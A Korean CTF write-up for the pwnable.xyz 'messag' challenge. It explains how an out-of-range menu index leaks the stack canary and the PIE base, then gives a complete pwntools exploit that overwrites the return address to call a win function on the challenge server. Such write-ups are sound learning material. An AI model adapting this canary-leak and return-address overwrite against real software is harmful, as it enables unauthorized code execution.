[pwnable.xyz] messag
Pwn/pwnable.xyz

[pwnable.xyz] messag

반응형
문제 풀이 환경 : Ubuntu 16.04

📝 Analysis


<< Mitigation >>

풀밭이다.

<< Code >>

· main

※ scanf도 null byte를 읽을 수 있다는 점을 까먹지 말자.

메뉴 1번을 통해 메시지를 수정할 수 있다. 내가 원하는 페이로드를 여기로 넣으면 될 것 같다.

메뉴 3번은 이 문제에서 bss영역에 있는 admin 변수 값을 건드리기 조--금 어렵기 때문에 BOF with canary를 생각했다.

메뉴 2번으로 OOB를 통해 canary를 leak 할 수도 있지 않을까 싶었지만 디버깅해보면 scanf 입력 끝에는 null을 삽입해서 불가능했다.

메뉴 0번! 있는지 잘 안보이지만 이걸로 함수를 종료하고 ret을 호출할 수 있다. 물론 canary를 검사한 뒤다.

 

· get_choice

get_choice 함수에게 준 값을 기준으로 해당하는 곳의 한 바이트를 리턴하고 main에서는 이 값을 메뉴 몇 번인지 선택하는 데에 쓰이는데, 이때 없는 메뉴의 값이면 LABEL_14에서 나오는 것처럼 그 값은 없다면서 리턴된 값을 한 바이트 알려준다.

 

 

🧩 Exploit Scenario 


get_choice 함수가 호출되고 난 뒤 스택의 상황이다.

적절한 인덱스 값을 준다면 canarypie_base를 모두 알아낼 수 있을 것이다.

이후 알맞는 페이로드를 메뉴 1번을 통해 보내준 후, 메뉴 0번을 호출한다면 성공적으로 win 함수를 호출하게 될 것이다.

 

 

🚩 Flag 🚩


from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# p = process('./message')
p = remote('svc.pwnable.xyz', 30017)
e = ELF('./message')

def leak(s, e):
    ret = ''
    
    for i in range(s, e):
        p.sendlineafter('> ', chr(i + 0x30))
        p.recvuntil('Error: ')
        leak = int(p.recvuntil(' is', drop=True))
        ret = f'{leak:02x}' + ret
    
    return ret


p.sendlineafter(': ', 'karatus')
canary = int(leak(11, 18) + '00', 16)
success(f'canary: {hex(canary)}')

pie_base = int(leak(26, 32), 16) - e.sym['main'] - 113
win = pie_base + e.sym['win']
success(f'pie_base: {hex(pie_base)}')
success(f'win: {hex(win)}')

p.sendlineafter('> ', '1')
payload  = b'A' * 0x28
payload += p64(canary)
payload += p64(0)
payload += p64(win)
p.sendlineafter(': ', payload)

p.sendlineafter('> ', '0')

p.interactive()

 

>> 안될 때 이유 <<

더보기

leak 한 canarywin함수 내 바이트가 scanf의 종료 char (우리에겐 bad characters)가 '띄어쓰기(0x20) 혹은 엔터(0x0a)'가 포함되어 있을 때니까 당황하지 말고 될 때까지 돌려주면 된다!

반응형